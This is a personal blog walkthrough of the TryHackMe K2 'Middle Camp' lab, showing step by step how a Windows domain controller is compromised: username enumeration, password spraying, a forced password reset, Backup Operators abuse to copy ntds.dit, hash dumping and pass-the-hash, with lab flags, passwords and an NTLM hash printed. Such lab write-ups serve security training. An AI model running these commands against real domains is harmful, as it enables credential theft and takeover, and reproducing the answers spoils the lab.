Sitemap

K2 Middle Camp Walkthrough

9 min readJul 26, 2025

--

Press enter or click to view image in full size

TL;DR walkthrough of the Middle Camp portion of the K2 room. This is part 2 of 3 on that room. Due to my suckiness at webapps there is no Part 1.

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

K2 is split up into three sections; Base Camp, Middle Camp, and The Summit. Unlike most TryHackMe rooms, each section is a separate VM to target. The information, users, and credentials gleaned from one target VM are then used to enumerate the next VM in the series. Only one VM is run at a time.

On an admin note, due to restarting the VMs the IPs aren’t always the same from start to finish. I didn’t use any reverse shells in Middle Camp so any IPs shown are the target VM.

— — Base Camp — -

I can’t take any credit for the first part of K2. I suck at webapps and didn’t get very far. I finally gave up and watched Tyler Ramsbey’s excellent video walkthrough here. He does a great job explaining everything, stays on point, and doesn’t spend 30 minutes rambling and asking you to like and subscribe before actually showing how to do anything.

I followed along, got the answers, and more importantly got information that comes in handy in Part 2 of the K2 room; Middle Camp

What is the user flag?

grep -ir "THM{" /home

/home/james/user.txt:THM{9e04a7419a2b7a86163496271a8a95dd}

What is the root flag?

grep -ir "THM{" /root

/root/root.txt:THM{c6f684e3b1089cd75f205f93de9fe93d}

What are the usernames and passwords that had access to the server? List the usernames in alphabetical order with their corresponding password separated by a comma. Format is username:password.

james:Pwd@9tLNrC3!,root:RdzQ7MSKt)fNaz3!,rose:vRMkaVgdfxhW!8

Two users have their full names on display. What are their names? In Alphabetical order. Format is first name last name separated by a comma.

James Bold, Rose Bud

Press enter or click to view image in full size

— — Middle Camp — -

Enumeration

As always we start with an nmap scan.

sudo nmap -sC -sV -O -Pn 10.10.112.168
Press enter or click to view image in full size

The VM is a DC for k2.thm, running Windows Server 2019.

I took the 2 names we know from Base Camp and ran them through Mishky’s Generate-Usernames.ps1.

#Input a text file with first name last names and generate potential usernames
Set-Location ".\CompTIA studying\THM stuff\K2"
$Names = @("James Bold", "Rose Bud")
$FQDN = "@k2.thm"

"administrator" + "$FQDN" | Out-File .\Brute.txt -Append
"guest" + "$FQDN" | Out-File .\Brute.txt -Append

ForEach($Name in $Names)
{
$FirstName = $Name.Split('')[0]
$LastName = $Name.Split('')[1]
$FirstInitial = $FirstName.Substring(0,1)
$LastInitial = $LastName.Substring(0,1)
$MangledLast = $LastName.Substring(0,2)
$MangledLast2 = $LastName.Substring(0,1)

"$FirstName.$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstName$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstName-$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstInitial$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstInitial-$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstInitial.$LastName" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstName$MangledLast" + "$FQDN" | Out-File .\Brute.txt -Append
"$FirstName$MangledLast2" + "$FQDN" | Out-File .\Brute.txt -Append
}

$Results = (Get-Content .\Brute.txt).Length
Write-Host "Mishka generated $Results usernames."
Write-Host "Copy/paste the contents of Brute.txt to /home/kali/Downloads/Wordlists/Brute and kerbrute."

Note; open Brute.txt on Windows, hit Ctrl + A, Ctrl + C, and then paste the contents into a file you created on Kali named brute.txt. DO NOT copy/paste the file itself from Windows to Kali. If you do you will get errors when you attempt to use the file with Kerbrute due to encoding differences.

I then enumerated to find what usernames were valid by using Kerbrute.

/home/kali/Downloads/kerbrute_linux_amd64 userenum - dc 10.10.112.168 -d k2.thm brute.txt
Press enter or click to view image in full size

We get:

  • administrator@k2.thm
  • J.Bold@k2.thm
  • R.Bud@k2.thm

I copy/paste the valid usernames into K2Users.txt and tried ASREPRoasting.

/usr/share/doc/python3-impacket/examples/GetNPUsers.py k2.thm/ -no-pass -usersfile /home/kali/Downloads/THM/K2Users.txt

However I had no success.

I next tried password spraying. I put everything found in Base Camp into a PasswordsToTry.txt.

Pwd@9tLNrC3!
VrMAogdfxW!9
PasSW0Rd321
St3veRoxx32
PartyA1LDaY!32
L0v3MyDog!3!
PikAchu!IshoesU!
RdzQ7MSKt)fNaz3!
suvRMkaVgdfxhW!8
crackmapexec smb 10.10.96.116 -d k2.thm -u ./K2Users.txt -p ./PasswordsToTry.txt - continue-on-success - smb2support

#Alt method using kerbrute
/home/kali/Downloads/kerbrute_linux_amd64 passwordspray -d k2.thm - dc 10.10.96.116 /home/kali/Downloads/THM/K2Users.txt /home/kali/Downloads/THM/PasswordsToTry.txt
Press enter or click to view image in full size

Initial Access

We get a hit, we now have initial authenticated access as k2\r.bud with password vRMkaVgdfxhW!8

evil-winrm -i 10.10.13.213 -u r.bud -p 'vRMkaVgdfxhW!8'

ls
cat notes.txt
cat note_to_james.txt

I read the notes in rose’s Documents and saw that j.bold has the password “rockyou” with 1 number and 1 special character added for compliance.

Press enter or click to view image in full size

Hence I tried generating wordlists with rockyou as the base and 1 number plus 1 special character added.

crunch 9 9 -t rockyou^% -o PasswordsToTryII.txt
crunch 9 9 -t rockyou%^ -o PasswordsToTryIII.txt
crunch 9 9 -t rockyou%% -o PasswordsToTryIV.txt
crunch 9 9 -t rockyou^^ -o PasswordsToTryV.txt
crunch 9 9 -t ^%rockyou -o PasswordsToTryVI.txt
crackmapexec smb 10.10.13.213 -d k2.thm -u j.bold -p ./PasswordsToTryVI.txt
Press enter or click to view image in full size

We get a hit: j.bold \ #8rockyou

Nice, now we have initial access and legitimate credentials to two accounts.

Lateral Movement

I next collected the domain’s information so I could import it into BloodHound.

I showed how to setup BloodHound on both Windows and Kali here, in case any readers need help with that.

./neo4j-desktop-1.6.0-x86_64.AppImage
sudo bloodhound-python -d k2.thm -u r.bud -p 'vRMkaVgdfxhW!8' -ns 10.10.23.100 -c all
bloodhound
Press enter or click to view image in full size

I uploaded the collected files and marked r.bud & j.bold as owned.

Press enter or click to view image in full size

j.bold can reset j.smith’s password, but j.bold cannot login remotely. This would be quite the conundrum if it wasn’t for the fact that folks who are much, much smarter than me figured out how to write tools that run on Linux and speak the same protocols Windows does.

net rpc password "j.smith" -U "K2\j.bold" -S "10.10.15.0"
Enter new password for j.smith: Password00!!
Password for [K2\j.bold]: #8rockyou

Nice, we just reset j.smith’s password from Kali. We already know j.smith can login remotely to the VM.

evil-winrm -i 10.10.15.0 -u j.smith -p 'Password00!!'

whoami /priv
whoami /groups
Press enter or click to view image in full size

Whoa, we just hit pay dirt. j.smith has SeBackupPrivilege, because they are in the Backup Operators group in AD. I already wrote a howto on exactly how to abuse this from Windows to escalate to Domain Admin, so at this point I simply checked my own notes and followed along.

I also wrote a walkthrough of the TryHackMe room RazorBlack here that involved abusing Backup Operators membership.

Escalate and own the domain

First, create a backup.txt file containing:

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backup

Then connect to the DC over WinRM using the member of Backup Operators we just compromised.

evil-winrm -i 10.10.15.0 -u j.smith -p 'Password00!!'

mkdir C:\Temp
cd C:\Temp
upload /home/kali/Downloads/backup.txt
diskshadow /s backup.txt

#Wait for that to finish, then:

robocopy /b E:\Windows\ntds . ntds.dit
reg save hklm\system c:\temp\system
download ntds.dit /home/kali/Downloads/THM/ntds.dit
download C:\Temp\system /home/kali/Downloads/THM/system

This is where it gets exciting. We simply dump NTDS.dit offline on Kali.

cd /home/kali/Downloads/THM
/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system system LOCAL
Press enter or click to view image in full size

Post Exploitation

Stick a fork in this one, it’s done. Now comes the fun part; post exploitation information gathering.

evil-winrm -i 10.10.15.0 -u Administrator -H 9545b61858c043477c350ae86c37b32f

Get-ChildItem C:\Users -Recurse | Select-String "THM{"

Administrator\Desktop\root.txt:1:THM{a7e9c8149fec53865eff983143b1f5ba}
j.smith\Desktop\user.txt:1:THM{3e5a19a9ba91881f4d7852d92126a97f}

While I had Administrator access I also poked around a bit. I noticed there was only one file in the Administrator’s Documents.

cat group.ps1
Import-Module ActiveDirectory
$ADSI = [ADSI]"LDAP://CN=Jack Smith,CN=Users,DC=k2,DC=thm"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("IT Staff 1")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

Interesting, I’ll elaborate on why this matters in the Summary.

nxc smb 10.10.15.0 -d k2.thm -u Administrator -H 9545b61858c043477c350ae86c37b32f --dpapi

[SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{59BC6E03-A1C2–446D-BE80-E0228AAE02CF} — K2\Administrator:vz0q$i8b4c

Press enter or click to view image in full size

Nice, we got the Administrator’s plaintext password from a Scheduled Task. I elaborated on how to cache credentials for a cyber range and how to dump them here.

nxc smb 10.10.149.187 -d k2.thm -u Administrator -H 9545b61858c043477c350ae86c37b32f --sam
Press enter or click to view image in full size

Note that the DSRM NTLM is the same as the SID 500 Administrator in the k2.thm domain this VM is the DC of. Please don’t confuse the DSRM account on DCs with “the local admin” account as a certain certification org did.

Lastly, I grabbed all the NTLM hashes unchanged. Remember that we reset j.smith’s password as we escalated to Domain Admin. Let’s grab their NTLM hash, just in case it’s useful in Part 3 of the K2 room; The Summit. I restarted the VM, then:

/usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc Administrator:vz0q\$i8b4c@10.10.97.245
Press enter or click to view image in full size

I saved everything in RawHashes.txt, just in case. This came in handy in the last K2 VM; The Summit.

Middle Camp Q & A

I already found all the answers earlier in the process of finishing the room. I didn’t go in order of the questions, I didn’t even ‘grep’ for the flags until I got to post compromise.

What is the user flag?

THM{3e5a19a9ba91881f4d7852d92126a97f}

What are the usernames found on the server? List the usernames in alphabetical order separated by a comma. Exclude the Administrator user.

j.bold,j.smith,r.bud

What is the root flag?

THM{a7e9c8149fec53865eff983143b1f5ba}

What is the Administrator’s NTLM hash?

9545b61858c043477c350ae86c37b32f

Summary

This room didn’t mention it, and I haven’t seen it get much mention on TryHackMe at all outside of their Persisting AD Room. The AdminSDHolder in Windows domains is a feature that is a bit like a safety on a gun. It’s there to protect you from yourself. However if you really want to then you can prop your leg up, aim at your foot, take the safety off, and proceed to shoot yourself in the foot.

The author of the K2 room did this on purpose in order to create the escalation path to j.smith. That account is in the Backup Operators group, which means the DACL on any accounts added to that group are in turn protected by the AdminSDHolder. This means their DACL is automatically set according to the AdminSDHolder and inheritance is disabled. This protects you from yourself, so if you get sloppy and move a protected account into another OU whoever is delegated rights on that OU doesn’t get rights on the protected account.

The room’s author wrote a PS1 that gives the IT Staff 1 group GenericAll on Jack Smith. They then set a scheduled task to run every minute and execute the PS1. This is how they got around the AdminSDHolder, as it doesn’t stop you from changing the DACL on protected accounts, it just resets them roughly every hour.

Press enter or click to view image in full size

This is a very CTFy way of doing things, but at least it gives you something to enumerate and abuse.

It’s also not the way we here at test.local like to tweak DACLs, or SACLs. The room author’s method worked ok here because they were simply delegating GenericAll. However what if one needed to delegate WriteProperty, Self, or an ExtendedRight on a specific GUID? If you’re curious about that then see our Set-Acl cheatsheet or our Dangerous Rights cheatsheet. If this all sounds like Greek to you then see our DACL Primer.

Overall it was a good room. There’s better tools than crunch for adding characters to base passwords, but it’s what I had in my notes and it worked well enough here. Forcing us to reset a user’s password from Kali was a nice touch too.

Well that wraps up Part II of the K2 room. Join us for Part III, The Summit, here. I escalated to Domain Admin in that room as well and the information and credentials found in this room are very handy there.

References

Excellent walkthrough of K2 Part 1: https://www.youtube.com/watch?v=Gy6vmJWEdFw

NTFS rights: https://www.permissionsreporter.com/ntfs-permissions

AdminSDHolder Protected Groups: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory

--

--

Rich
Rich

Written by Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.